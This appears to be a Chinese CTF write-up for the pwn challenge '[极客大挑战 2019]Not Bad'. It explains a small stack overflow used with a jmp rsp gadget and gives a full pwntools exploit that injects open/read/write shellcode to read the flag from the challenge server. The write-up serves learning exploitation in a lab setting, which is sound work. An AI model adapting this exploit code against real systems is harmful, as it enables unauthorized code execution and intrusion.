【pwn】 [极客大挑战 2019]Not Bad

关注

原创最新推荐文章于 2026-10-28 21:36:15 发布 1.2k 阅读 AI 写同款· GEO 优化 ›

[极客大挑战 2019]Not Bad的另一种思路保护漏洞算上rbp只有0x20的溢出空间思路1 利用jmp rsp的GG执行栈上的shellcode，这个思路用的人很多，就不再说了思路2：不使用jmp rsp 如果需要开启shellcode，最常用的就是ret到shellcode的地址，为了获取shellcode地址，那么就有了两个选择泄露栈地址，做不到栈迁移到一个已知位置通过leave指令使得rbp = 已知空间buf之后，需要在0x18长度内完成两件事情向buf中写入exp leave+ret让rsp迁阅读详情

例行检查
在这里插入图片描述
开了沙箱

程序逻辑很简单，存在0x18字节溢出，看是否能进行栈迁移，目前可控输入只有buf，但是buf只有0x20大小不够rop，所以尝试别的方法。程序在最开始mmap了一块内存，可写可执行，那么接下来目标就是1.在这块内存上写shellcode
2.跳转过来执行

由于不能rop且栈是可执行的想到能不能进行jmp rsp。在程序中找到了这个指令。
在这里插入图片描述

那么就可以在buf上布置read以及跳转的shellcode。在jmp rsp时跳转到buf去执行，buf地址是rsp-0x30，sub rsp,0x30;jmp rsp小于8字节满足要求。

from pwn import *

io=remote('node3.buuoj.cn',26473)
context.binary=ELF('./bad')

mmap=0x123000
jmp_rsp=0x400A01

io.recvuntil('have fun!')
pl1=(asm(shellcraft.read(0,mmap,0x100))+asm("mov rax,0x123000;call rax")).ljust(0x28,'\x00')+p64(jmp_rsp)+asm("sub rsp,0x30;jmp rsp")
io.send(pl1)

pl2=shellcraft.open('./flag')
pl2+=shellcraft.read(3,mmap+0x100,0x50)
pl2+=shellcraft.write(1,mmap+0x100,0x50)

io.send(asm(pl2))
io.interactive()